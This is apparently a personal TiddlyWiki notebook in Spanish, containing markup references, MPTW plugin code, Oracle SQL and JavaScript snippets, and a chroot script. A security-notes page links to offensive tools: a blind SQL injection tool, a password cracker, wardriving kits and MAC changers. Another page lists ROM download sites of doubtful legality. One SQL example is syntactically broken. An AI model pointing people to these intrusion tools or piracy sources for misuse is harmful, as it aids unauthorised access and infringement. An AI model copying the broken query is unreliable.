tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
! Guía de referencia rápida a TiddlyWiki
Mucha más información en: http://tiddlywiki.org/wiki/Main_Page
Otra tabla de referencia, extraida directamente de http://tiddlywiki.org/wiki/TiddlyWiki_Markup/Tiddler
TiddlyWiki Quick Reference
!! Formato de texto
|!Format|!Markup|!Example|
|Bold|{{{''Bold''}}} (2 single quotes)|''Bold''|
|Italic|{{{//Italic//}}}|//Italic//|
|Bold Italic|{{{''//Bold Italic//''}}}|''//Bold Italic//''|
|Underlined|{{{__Underline__}}}(2 underscores)|__Underlined__|
|Strikethough|{{{--Strikethrough--}}}<br />{{{--}}} replaced {{{==}}} for Stikethrough in TiddlyWiki 2.1|--Strikethrough--|
|Superscript|{{{Text^^Superscript^^}}}|Text^^Superscript^^|
|Subscript|{{{Text~~Subscript~~}}}|Text~~Subscript~~|
|Monospaced text|<html><code>{{{Monospaced}}}</code></html>|{{{Monospaced}}}|
|Monospaced multiline block|Put <html><code>{{{</code></html> and <html><code>}}}</code></html> on their own lines|<html><pre>{{{<br/>Monospaced<br/>Multi-line<br/>Block<br/>}}}</pre></html>|
|Highlight|{{{@@Highlight@@}}}|@@Highlight@@|
|Color|{{{@@color(green):green text@@}}}|@@color(green):green text@@ |
|~|{{{@@bgcolor(green):text@@}}}|@@bgcolor(green):text@@ |
|~|{{{@@bgcolor(#3399ff):text@@}}}|@@bgcolor(#3399ff):text@@|
|~|{{{@@bgcolor(#39f):text@@}}}|@@bgcolor(#39f):text@@|
|CSS Extended Highlights|{{{@@some css;Highlight@@}}}<br />For backwards compatibility, the following highlight syntax is also accepted:<br />{{{@@bgcolor(#ff0000):color(#ffffff):red coloured@@}}}|@@background-color:#ff0000;color:#ffffff;red coloured@@<br /><<slider AtEg ./atEg 'Extended example ...'>>|
|Custom CSS Class|<html><code>{{wrappingClass{Text that is now accentuated}}}</code></html><br />By default, the text is placed in a <span>. To use a <div> instead, insert a line break before the text (after the single {)<br />In the CSS:<br />{{{.wrappingClass {color: red;} }}}|Add .wrappingClass to StyleSheet|
|Any HTML|{{{<html><span>any</span><br />}}}<br />{{{<b>valid</b> <em>xhtml</em></html>}}}|<html><span>any</span><br /><b>valid</b> <em>xhtml</em></html>|
!! Formato de documento
|!Format|!Markup|!Example|
|''Headings''|{{{!Heading 1}}}<br />{{{!!Heading 2}}}<br />{{{!!!Heading 3}}}<br />{{{!!!!Heading 4}}}<br />{{{!!!!!Heading 5}}}<br />{{{!!!!!!Heading 6}}}<br /><br />Usually avoid Heading1 as Tiddler titles are nominally Heading1.|<html><h1>Heading 1</h1><h2>Heading 2</h2><h3>Heading 3</h3><h4>Heading 4</h4><h5>Heading 5</h5><h6>Heading 6</h6></html>|
|''Lists''|{{{*Bulleted list}}}|<html><ul><li>Bulleted List</li></ul></html>|
|~|{{{#Numbered list}}}|<html><ol><li>Numbered List</li></ol></html>|
|~|Definition list<br />{{{;Term}}}<br />{{{:definition}}}|<html><dl><dt>Term</dt><dd>definition</dd></dl></html>|
|~|Lists can be mixed and nested<br />{{{*}}}Bullet<br />{{{*#}}}Number<br />{{{*#;}}}Item<br />{{{*#:}}}Definition|<html><ul><li>Bullet<ol><li>Numbered<dl><dt></dt>Item<dd>Definition</dd></dl></li></ol></li></ul></html>|
|''Block quotes''|{{{>Blockquote}}}<br />{{{>>Nested quote}}}|<html><blockquote>Blockquote<blockquote>Nested<br/> quote</blockquote></blockquote></html>|
|~|{{{<<<}}}<br />{{{multi-line}}}<br />{{{blockquote}}}<br />{{{<<<}}}|<html><blockquote>multi-line<br/>blockquote</blockquote></html>|
|''Horizontal Rule''|{{{----}}} (4 dashes on a line of their own)|<html><hr></html>|
|''Links''|Any {{{WikiWord}}} creates a link to a tiddler (whether it exists or not).<br />Note that a WikiWord has to start with a capital letter and have a further mix of upper and lower case.|[[WikiWord]]|
|~|Manual link<br />{{{[[Table of Contents]]}}} (Especially for tiddlers with spaces in their titles)|[[Table of Contents]]|
|~|{{{[[Pretty Link|Link]]}}}|[[Pretty Link|Link]]|
|~|Automatic external link {{{http://www.tiddlywiki.com}}}|http://www.tiddlywiki.com|
|~|Pretty external link<br />{{{[[My Home Page|http://www.tiddlywiki.com]]}}}|[[My Home Page|http://www.tiddlywiki.com]]|
|~|OS Folder link<br />Windows Share: {{{file://///server/share}}}<br />Windows Local: {{{file:///c:/folder/file}}}<br />Un*x Local File: {{{file://folder/file}}}<br />Relative File: {{{[[folder/file]]}}}|file://///server/share <br />file:///c:/folder/file <br />file://folder/file <br /> [[folder/file]]|
|''Images''|{{{[img[favicon.ico]]}}}<br />Note that image files are always external to the TW file|[img[http://www.tiddlywiki.com/favicon.ico]]|
|~|Right aligned<br />{{{[>img[favicon.ico]]}}}|[>img[http://www.tiddlywiki.com/favicon.ico]]|
|~|Left aligned<br />{{{[<img[favicon.ico]]}}}|[<img[http://www.tiddlywiki.com/favicon.ico]]|
|''Image Links''|{{{[img[fav.ico][TiddlerName]]}}}|[img[http://www.tiddlywiki.com/favicon.ico][TiddlerName]]|
|~|{{{[img[fav.ico][Alias|TiddlerName]]}}}|[img[http://www.tiddlywiki.com/favicon.ico][Alias|TiddlerName]]|
|~|{{{[img[fav.ico][http://www.aa.com]]}}}|[img[http://www.tiddlywiki.com/favicon.ico][http://www.tiddlywiki.com]]|
|~|>|also see ''Links'' and ''Images'' sections in this table|
|''Inline''<br />''Comments''|{{{Not shown: /% hidden comment %/}}}<br />Text between the markers will not be shown|Not shown:/% hidden text %/|
!! Formato de tablas
|!Markup|!Explanation|
| {{{|}}} |Column Seperator |
| {{{!}}} |Heading (Row or Column) |
| {{{>}}} |Column Span |
| {{{~}}} |Row Span |
| {{{|Left |}}} |Left Align |
| {{{| Right|}}} |Right Align|
| {{{| Center |}}} |Center Align |
| {{{|Caption|c}}} |Table Caption (Can be at top or bottom)|
| {{{|Header|h}}} |Marks the row as being a header row (will be wrapped with a {{{<thead>}}} and so all entries are automatically formatted as per {{{|!}}} cells)|
| {{{|Footer|f}}} |Marks the row as being a footer row (will be wrapped with a {{{<tfoot>}}}, no special formatting is pre-defined for this but can be added to your own CSS)|
| {{{|CSSclass|k}}} |Applies a CSS class to the table to allow additional formatting (NB: only works if no whitespace after the k)|
|>|To have a table with no borders at all. Use {{{|noBorder|k}}} with the CSS (in your StyleSheet tiddler):<br />{{{ .noBorder,.noBorder td,.noBorder th,.noBorder tr{border:0} }}}|
!!!Ejemplo de tabla
{{{|table caption|c}}}<br />{{{|header|header|h}}}<br />{{{|text|more text|}}}<br />{{{|!heading|!heading|}}}<br />{{{|>|colspan|}}}<br />{{{|rowspan|left align |}}}<br />{{{|~| center |}}}<br />{{{|bgcolor(green):green| right|}}}<br />{{{|footer|footer|f}}}
|table caption|c
|header|header|h
|text|more text|
|!heading|!heading|
|>|colspan|
|rowspan|left align |
|~| center |
|bgcolor(green):green| right|
|footer|footer|f
! Formateo y composición avanzados
!! Inclusión de un tiddler dentro de otro
TiddlyWiki permite incluir el código de un tiddler en un lugar especificado dentro de otro tiddler. El resultado final es similar al que se obtendría copiando el código del tiddler a incluir y pegarlo en el punto indicado. La gran ventaja es que si cambia el tiddler a incluir, cambia también el tiddler que lo incluye, y permite pertir tiddler largos o dividirlos en capítulos.
Hay varias maneras de hacerlo: incluir todo el tiddler o incluir sólo un fragmento.
!!! Inclusión de un tiddler completo
Este es el caso más sencillo. Es tan simple como utilizar la macro {{{<<tiddler [[nombre del tiddler]]>>}}}. El tiddler entero se "incrustará" en el lugar donde aparece la macro. Ejemplo:
{{{
Inserta aquí: //<<tiddler [[MPTW]]>>// el tiddler
}}}
Inserta aquí: //<<tiddler [[MPTW]]>>// el tiddler
!!! Inclusión parcial de campos
Se puede definir un tiddler con un formato especial para delimitar campos con nombre. Un campo con nombre es un par clave/valor. La clave sólo podrá contener caracteres alfanuméricos ingleses y números ({{{[a-zA-Z0-9_]+}}} ó {{{\w+}}}).
El valor de cada campo podrá ser incluido de forma independiente dentro de los otros tiddlers. Para los siguientes ejemplos se usará el tiddler PruebasTransclusion.
Los pares clave/valor se definen de alguna de los siguientes maneras, todas ellas igualmente válidas (uno por línea):
{{{
----
campo1: Esto es el campo 1
|campo2:|Esto //otro// es el campo 2|
|campo3| Y ''aquí'' viene el campo 3|
----
}}}
----
campo1: Esto es el campo 1
|campo2:|Esto //otro// es el campo 2|
|campo3| Y ''aquí'' viene el campo 3|
----
La forma de incluirlos (transclusion) es usando la macro {{{<<tiddler>>}} y referenciando el campo dentro del tiddler como {{{[[nombreTiddler::nombreCampo]]}}}. Veamos un ejemplo usando PruebasTransclusion:
{{{
Valor del campo 1 <<tiddler [[PruebasTransclusion::campo1]]>>
Valor del campo 2 <<tiddler [[PruebasTransclusion::campo2]]>>
Valor del campo 3 <<tiddler [[PruebasTransclusion::campo3]]>>
}}}
Valor del campo 1 <<tiddler [[PruebasTransclusion::campo1]]>>
Valor del campo 2 <<tiddler [[PruebasTransclusion::campo2]]>>
Valor del campo 3 <<tiddler [[PruebasTransclusion::campo3]]>>
Este sistema es muy sencillo y poco utilizado, no obstante, la configuración del CSS de TiddlyWiki suele usarlo profusamente.
!!! Inclusión parcial de capítulos
Es mucho más útil y habitual incluir una sección entera de un documento. Las secciones son los fragmentos que comienzan con un título, indicado por admiraciones ({{{!}}} para un título de primer nivel, {{{!!}}} para uno de segundo, etc). Nótese que los títulos tienen que seguir la misma convención de nombres que los campos de la sección anterior: sólo letras, números y {{{_}}}. Usando nuevamente PruebasTransclusion como ejemplo, veamos como funciona:
{{{
Sección 1 <<tiddler [[PruebasTransclusion##Titulo1]]>>
Sección 1.1 <<tiddler [[PruebasTransclusion##Subtitulo1]]>>
Sección 2 <<tiddler [[PruebasTransclusion##Titulo2]]>>
}}}
Sección 1 <<tiddler [[PruebasTransclusion##Titulo1]]>>
Sección 1.1 <<tiddler [[PruebasTransclusion##Subtitulo1]]>>
Sección 2 <<tiddler [[PruebasTransclusion##Titulo2]]>>
!!! Inclusión paramétrica
Otra opción interesante es la inclusión de un tiddler completo que haga de plantilla. Esto es, que su texto sea variable en función de los parámetros que se le pasen.
En la plantilla se pueden poner variables {{{$1}}} hasta {{{$9}}}, que serán sustituidas por los parámetros indicados en la macro {{{<<tiddler>>}}}. Veamos un ejemplo utilizando EjemploPlantilla:
{{{
<<tiddler [[EjemploPlantilla]] with:"Parámetro 1" "Lo que viene siendo el parámetro 2" {{store.getTiddlerText("MainMenu")}}>>
}}}
<<tiddler [[EjemploPlantilla]] with:"Parámetro 1" "Lo que viene siendo el parámetro 2" {{store.getTiddlerText("MainMenu")}}>>
!! Saltos de línea
!!! Clases CSS personalizadas
Puedes clases CSS personalizadas en combinación con títulos y listas, para permitir saltos de línea dentro de la entrada. El siguiente código:
{{{
# item 1
# {{multiLine{
item 2, first line
item 2, second line
item 2, third line
}}}
# item 3
}}}
Creará el siguiente resultado:
# item 1
# {{multiLine{
item 2, first line
item 2, second line
item 2, third line
}}}
# item 3
!! CSS embebido
(Julian Knight, 2006-05-11)
{{{
This is before the indented text
@@display:block;margin-left:2em;This text will be indented...
...and can even span across several lines...
...or even include blank lines.
@@This is after the indented text
}}}
This is before the indented text
@@display:block;margin-left:2em;This text will be indented...
...and can even span across several lines...
...or even include blank lines.
@@This is after the indented text
!!! Saltos de linea explícitos:
Se puede usar """<br>""" para producir saltos de línea:
{{{
Linea 1<br>Linea 2
}}}1
Linea 1<br>Linea 2
!!! "Incrustar" tiddlers
Se puede incluir el contenido de cualquier tiddler en cualquier punto de otro tiddler mediante la macro {{{<<tiddler>>}}}. Por ejemplo, suponiendo que exista un tiddler titulado "Elemento 2", el siguiente ejemplo "incrustaría" el contenido del tiddler en el segundo lugar de la lista numerada:
{{{
# Elemento 1
# <<tiddler [[Elemento 2]]>>
# Elemento 3
}}}
# Elemento 1
# <<tiddler [[Elemento 2]]>>
# Elemento 3
!Introducción
Es muy común y muy molesto que dentro de una tabla con datos temporales, falten datos para algún día. Al generar un informe o intentar generar una gráfica usando los valores de la tabla, los días sin datos no aparecerán, produciendo "saltos" dentro de las filas de datos que pueden producir gráficas erróneas o confusas.
!Metodologia
La forma de conseguir la meta es mediante un {{{OUTER JOIN}}} con una tabla que contenga todas las fechas posibles dentro de un intervalo.
Suponiendo que tenemos creada una tabla con todas las fechas del 2009 (por lo tanto 365 filas) y otra tabla con varias columnas y "huecos" en los datos, esta consulta nos daría todos los datos desde enero hasta marzo, poniendo un 0 en los días que no hubiera información:
{{{
SELECT
nvl(v.col1, 0) as "columna 1",
nvl(v.col2, 0) as "columna 2",
t.fecha as "fecha"
FROM
(SELECT
col1,
col2,
colFecha
FROM
tabla1
WHERE
col1 > 10 --CONDICIONES
) v
PARTITION BY (v.colFecha)
RIGHT OUTER JOIN
(SELECT distinct
DAY fecha
FROM
tabla_tiempos
WHERE
WHERE t.DAY BETWEEN TO_DATE('01/01/2009', 'DD/MM/YYYY')
AND TO_DATE('31/03/2009', 'DD/MM/YYYY')
) t
ON (v.colFecha = t.fecha)
order by t.fecha
}}}
/***
|Name:|RenameTagsPlugin|
|Description:|Allows you to easily rename or delete tags across multiple tiddlers|
|Version:|3.0 ($Rev: 5501 $)|
|Date:|$Date: 2008-06-10 23:11:55 +1000 (Tue, 10 Jun 2008) $|
|Source:|http://mptw.tiddlyspot.com/#RenameTagsPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
Rename a tag and you will be prompted to rename it in all its tagged tiddlers.
***/
//{{{
config.renameTags = {
prompts: {
rename: "Rename the tag '%0' to '%1' in %2 tidder%3?",
remove: "Remove the tag '%0' from %1 tidder%2?"
},
removeTag: function(tag,tiddlers) {
store.suspendNotifications();
for (var i=0;i<tiddlers.length;i++) {
store.setTiddlerTag(tiddlers[i].title,false,tag);
}
store.resumeNotifications();
store.notifyAll();
},
renameTag: function(oldTag,newTag,tiddlers) {
store.suspendNotifications();
for (var i=0;i<tiddlers.length;i++) {
store.setTiddlerTag(tiddlers[i].title,false,oldTag); // remove old
store.setTiddlerTag(tiddlers[i].title,true,newTag); // add new
}
store.resumeNotifications();
store.notifyAll();
},
storeMethods: {
saveTiddler_orig_renameTags: TiddlyWiki.prototype.saveTiddler,
saveTiddler: function(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created) {
if (title != newTitle) {
var tagged = this.getTaggedTiddlers(title);
if (tagged.length > 0) {
// then we are renaming a tag
if (confirm(config.renameTags.prompts.rename.format([title,newTitle,tagged.length,tagged.length>1?"s":""])))
config.renameTags.renameTag(title,newTitle,tagged);
if (!this.tiddlerExists(title) && newBody == "")
// dont create unwanted tiddler
return null;
}
}
return this.saveTiddler_orig_renameTags(title,newTitle,newBody,modifier,modified,tags,fields,clearChangeCount,created);
},
removeTiddler_orig_renameTags: TiddlyWiki.prototype.removeTiddler,
removeTiddler: function(title) {
var tagged = this.getTaggedTiddlers(title);
if (tagged.length > 0)
if (confirm(config.renameTags.prompts.remove.format([title,tagged.length,tagged.length>1?"s":""])))
config.renameTags.removeTag(title,tagged);
return this.removeTiddler_orig_renameTags(title);
}
},
init: function() {
merge(TiddlyWiki.prototype,this.storeMethods);
}
}
config.renameTags.init();
//}}}
!Descripción
Apuntes sobre ROMs para emuladores de videoconsolas
!Apuntes rápidos
* ''Varias plataformas:''
** Listado de sitios legales: http://pandorawiki.org/Legal_Emulation_Resources
** ROM Hustler: http://romhustler.net
** ROM Nation: http://www.romnation.net
** ROM World: http://www.rom-world.com
** Emulanium: http://www.emulanium.com
** Cool ROM: http://coolrom.com/
** Frozen Roms: http://www.frozen-roms.in/
** ROM Gods: http://rom-gods.net
** ROM freaks: http://www.rom-freaks.net
** Emugames World: http://www.emugamesworld.com
* ''Nintendo DS''
** http://www.nintendo-ds-roms.com/
* ''Game Boy:''
** http://www.gameboy-advance-roms.com/
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre SQL
!Apuntes rápidos
* Para copiar rápidamente datos de una tabla a otra se puede utilizar un {{{CREATE AS SELECT}}} como el del siguiente ejemplo:
{{{
CREATE TABLE <nombre_tabla_nueva> as SELECT * FROM <nombre_tabla_original>;
}}}
* Orden de ejecución de los scripts de SQL:
*# Secuencias
*# Tablas e índices
*# Sinónimos
*# Vistas
*# Funciones
*# Procedimientos
*# Triggers
*# Permisos
*
!Enlaces interesantes
* http://sqlzoo.net/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|Name:|SaveCloseTiddlerPlugin|
|Description:|Provides two extra toolbar commands, saveCloseTiddler and cancelCloseTiddler|
|Version:|3.0 ($Rev: 5502 $)|
|Date:|$Date: 2008-06-10 23:31:39 +1000 (Tue, 10 Jun 2008) $|
|Source:|http://mptw.tiddlyspot.com/#SaveCloseTiddlerPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
To use these you must add them to the tool bar in your EditTemplate
***/
//{{{
merge(config.commands,{
saveCloseTiddler: {
text: 'done/close',
tooltip: 'Save changes to this tiddler and close it',
handler: function(ev,src,title) {
var closeTitle = title;
var newTitle = story.saveTiddler(title,ev.shiftKey);
if (newTitle)
closeTitle = newTitle;
return config.commands.closeTiddler.handler(ev,src,closeTitle);
}
},
cancelCloseTiddler: {
text: 'cancel/close',
tooltip: 'Undo changes to this tiddler and close it',
handler: function(ev,src,title) {
// the same as closeTiddler now actually
return config.commands.closeTiddler.handler(ev,src,title);
}
}
});
//}}}
!Descripción
Apuntes sobre el lenguaje de programación Scala
!Apuntes rápidos
*
!Enlaces interesantes
* ''Página principal:'' http://www.scala-lang.org/
* ''Descargas:'' http://www.scala-lang.org/downloads/
* ''Tutorial:'' http://www.scala-lang.org/docu/files/ScalaTutorial.pdf
* ''Artículo de IBM:'' http://www.ibm.com/developerworks/java/library/j-scala01228.html
* ''Tour guiado:'' http://www.scala-lang.org/node/104
* ''Tutorial de o'reilly:'' http://programming-scala.labs.oreilly.com/
* ''Enlaces (en la parte inferior):'' http://macstrac.blogspot.com/2009/04/scala-as-long-term-replacement-for.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre lenguajes no compilados.
Los lenguajes que se reflejarán aquí serán lenguajes interpretados y que no necesiten ser compilados para ser ejecutados, independientemente de si tienen un compilador JIT o si necesitan un runtime o máquina virtual. Ejemplos válidos sería [[Python]], [[Javascript]] ó BeanShell.
Esto es una [[metacategoría|metacategoria]], lo que quiere decir que habrá varias categorías que la tengan también como padre y que no tendrá subcategorías ni temas propios.
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title)'>>
Con este script se puede lanzar un linux de otra partición usando el kernel actual, en un entorno chroot
{{{
#!/bin/sh
#Comprueba si se ha pasado el directorio
if [[ -z $1 || !(-d $1) ]]
then
echo "No se ha especificado un directorio válido"
echo "Uso: $0 <directorio>"
exit -1
fi
echo "Configurando entorno chroot..."
mount --bind /proc $1/proc
mount --bind /sys $1/sys
mount --bind /dev $1/dev
mount --bind /dev/pts $1/dev/pts
mount --bind /dev/shm $1/dev/shm
cp /etc/resolv.conf $1/etc/resolv.conf
echo "Estableciendo entorno chroot..."
chroot $1
}}}
!Descripción
Apuntes sobre seguridad en redes
!Apuntes rápidos
* ''Cambio de MAC en linux:'' http://directory.fsf.org/project/macchanger/
* ''Cambio de MAC en windows:'' http://www.darknet.org.uk/2009/05/technitium-free-mac-address-changer-v5-r2-released-for-windows/
* ''Otro cambiador de MAC en windows:'' http://devices.natetrue.com/macshift/
* ''Tutorial de cambio de MAC multiplataforma'': http://www.tech-faq.com/change-mac-address.shtml
!Enlaces interesantes
* ''Portales y *zines:''
** http://www.phrack.com
** http://www.ngssoftware.com/papers/
** http://packetstormsecurity.org/papers/
** http://www.imperva.com/resources/adc/adc_papers.html
* ''Utilidades en línea:''
** Buscador de equipos: http://shodan.surtri.com/
* ''Retos educativos:''
** http://elladodelmal.blogspot.com/2008/05/solucionario-reto-hacking-vii-i-de-ii.html
* ''Aplicaciones y herramientas:''
** //''Colecciones y repositorios:''//
*** Portcullis Labs: http://labs.portcullis.co.uk/tag/tool/
*** 100 open source security tools: http://www.jayphilips.com/2009/10/06/100-open-source-free-security-tools/
*** top 100 de insecure.org: http://sectools.org/
*** Herramientas gratuitas de Nirsoft: http://www.nirsoft.net/
*** Wardriving en Point Black: http://www.pointblanksecurity.com/wardriving-tools.php
*** Wardrive.net: http://www.wardrive.net/wardriving/tools/
*** HSC tools: http://www.hsc.fr/ressources/outils/index.html.en
*** Herramientas gratuitas de Immunity Inc: http://immunityinc.com/resources-freesoftware.shtml
** //''Aplicaciones individuales:''//
*** Marathon Timed Blind SQL Injection: http://elladodelmal.blogspot.com/2008/08/marathon-tool.html
*** Nmap: http://nmap.org/book/
*** Ncat: http://nmap.org/ncat/guide/index.html
*** XPlico (decodificador de paquetes de internet - analizador de ficheros dump): http://www.xplico.org/
*** IDA Pro disassembler: http://www.hex-rays.com/idapro/
*** IDA Freeware: http://www.hex-rays.com/idapro/idadownfreeware.htm
*** pycap: http://pycap.sourceforge.net/
*** scapy: http://www.secdev.org/projects/scapy/
*** Análisis forense de FAT: http://www.digital-forensic.org/download-en.html
*** PDF Resurrect, metadatos en PDFs: http://www.757labs.com/projects/pdfresurrect/
*** Satori, OS Fingerprinting pasivo: http://myweb.cableone.net/xnih/
*** Password cracker multiprotocolo: http://nmap.org/ncrack/
** ''~LiveCDs y ~LiveUSBs:''
*** NIST NST: http://www.networksecuritytoolkit.org/
*** Katana: http://www.hackfromacave.com/katana.html
* ''Ataques XPath:''
** http://www.packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf
* ''Aplicaciones vulnerables para practicar y aprender:''
** OWASP Web Goat: http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
** Damn Vulnerable Web Application: http://sourceforge.net/projects/dvwa/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Cambia el estado de todos los checkbox cuyo id comience por el prefijo indicado.
{{{
//Cambia el estado de los checkbox con el prefijo indicado
function checkUncheck(prefix) {
var inputArray = document.getElementsByTagName("input");
var mainCheckbox = document.getElementById(prefix);
for(var i = 0; i < inputArray.length; i++) {
if(inputArray[i].type == "checkbox" && inputArray[i].id != prefix && (inputArray[i].id.indexOf(prefix) != -1)) {
inputArray[i].checked = mainCheckbox.checked;
}
}
}
}}}
Obtiene los IDs de los elementos seleccionados
{{{
//Obtiene un array con el ID de todos los checkbox seleccionados con el prefijo indicado
//sin contar el que no tenga como ID nada más que el prefijo.
function getSelected(prefix)
{
var inputArray = document.getElementsByTagName("input");
var mainCheckbox = document.getElementById(prefix);
var selectedArray = new Array();
for(var i = 0; i < inputArray.length; i++) {
if(inputArray[i].type == "checkbox" && inputArray[i].id != prefix
&& (inputArray[i].id.indexOf(prefix) != -1) && inputArray[i].checked)
{
selectedArray.push(inputArray[i].id);
}
}
return selectedArray;
}
}}}
/***
|Name:|SelectThemePlugin|
|Description:|Lets you easily switch theme and palette|
|Version:|1.0.1 ($Rev: 3646 $)|
|Date:|$Date: 2008-02-27 02:34:38 +1000 (Wed, 27 Feb 2008) $|
|Source:|http://mptw.tiddlyspot.com/#SelectThemePlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!Notes
* Borrows largely from ThemeSwitcherPlugin by Martin Budden http://www.martinswiki.com/#ThemeSwitcherPlugin
* Theme is cookie based. But set a default by setting config.options.txtTheme in MptwConfigPlugin (for example)
* Palette is not cookie based. It actually overwrites your ColorPalette tiddler when you select a palette, so beware.
!Usage
* {{{<<selectTheme>>}}} makes a dropdown selector
* {{{<<selectPalette>>}}} makes a dropdown selector
* {{{<<applyTheme>>}}} applies the current tiddler as a theme
* {{{<<applyPalette>>}}} applies the current tiddler as a palette
* {{{<<applyTheme TiddlerName>>}}} applies TiddlerName as a theme
* {{{<<applyPalette TiddlerName>>}}} applies TiddlerName as a palette
***/
//{{{
config.macros.selectTheme = {
label: {
selectTheme:"select theme",
selectPalette:"select palette"
},
prompt: {
selectTheme:"Select the current theme",
selectPalette:"Select the current palette"
},
tags: {
selectTheme:'systemTheme',
selectPalette:'systemPalette'
}
};
config.macros.selectTheme.handler = function(place,macroName)
{
var btn = createTiddlyButton(place,this.label[macroName],this.prompt[macroName],this.onClick);
// want to handle palettes and themes with same code. use mode attribute to distinguish
btn.setAttribute('mode',macroName);
};
config.macros.selectTheme.onClick = function(ev)
{
var e = ev ? ev : window.event;
var popup = Popup.create(this);
var mode = this.getAttribute('mode');
var tiddlers = store.getTaggedTiddlers(config.macros.selectTheme.tags[mode]);
// for default
if (mode == "selectPalette") {
var btn = createTiddlyButton(createTiddlyElement(popup,'li'),"(default)","default color palette",config.macros.selectTheme.onClickTheme);
btn.setAttribute('theme',"(default)");
btn.setAttribute('mode',mode);
}
for(var i=0; i<tiddlers.length; i++) {
var t = tiddlers[i].title;
var name = store.getTiddlerSlice(t,'Name');
var desc = store.getTiddlerSlice(t,'Description');
var btn = createTiddlyButton(createTiddlyElement(popup,'li'), name?name:t, desc?desc:config.macros.selectTheme.label['mode'], config.macros.selectTheme.onClickTheme);
btn.setAttribute('theme',t);
btn.setAttribute('mode',mode);
}
Popup.show();
return stopEvent(e);
};
config.macros.selectTheme.onClickTheme = function(ev)
{
var mode = this.getAttribute('mode');
var theme = this.getAttribute('theme');
if (mode == 'selectTheme')
story.switchTheme(theme);
else // selectPalette
config.macros.selectTheme.updatePalette(theme);
return false;
};
config.macros.selectTheme.updatePalette = function(title)
{
if (title != "") {
store.deleteTiddler("ColorPalette");
if (title != "(default)")
store.saveTiddler("ColorPalette","ColorPalette",store.getTiddlerText(title),
config.options.txtUserName,undefined,"");
refreshAll();
if(config.options.chkAutoSave)
saveChanges(true);
}
};
config.macros.applyTheme = {
label: "apply",
prompt: "apply this theme or palette" // i'm lazy
};
config.macros.applyTheme.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
var useTiddler = params[0] ? params[0] : tiddler.title;
var btn = createTiddlyButton(place,this.label,this.prompt,config.macros.selectTheme.onClickTheme);
btn.setAttribute('theme',useTiddler);
btn.setAttribute('mode',macroName=="applyTheme"?"selectTheme":"selectPalette"); // a bit untidy here
}
config.macros.selectPalette = config.macros.selectTheme;
config.macros.applyPalette = config.macros.applyTheme;
config.macros.refreshAll = { handler: function(place,macroName,params,wikifier,paramString,tiddler) {
createTiddlyButton(place,"refresh","refresh layout and styles",function() { refreshAll(); });
}};
//}}}
! Instrucciones condicionales
Oracle permite utilizar instrucciones condicionales en las sentencias SQL, sin necesidad de tener que embeber código ejecutable o utilizar PL/SQL. Las instrucciones condicionales son muy útiles para sustituir un valor por otro en un {{{SELECT}}}. El ejemplo típico sería sustituir un código de provincia por el nombre de la misma.
Las siguientes construcciones equivalen todas ellas a un árbol de {{{IF}}} en PL/SQL como el siguiente:
{{{
IF columna = valor1 THEN
resultado := sustitucion1;
ELSIF columna = valor2 THEN
resultado := sustitucion2;
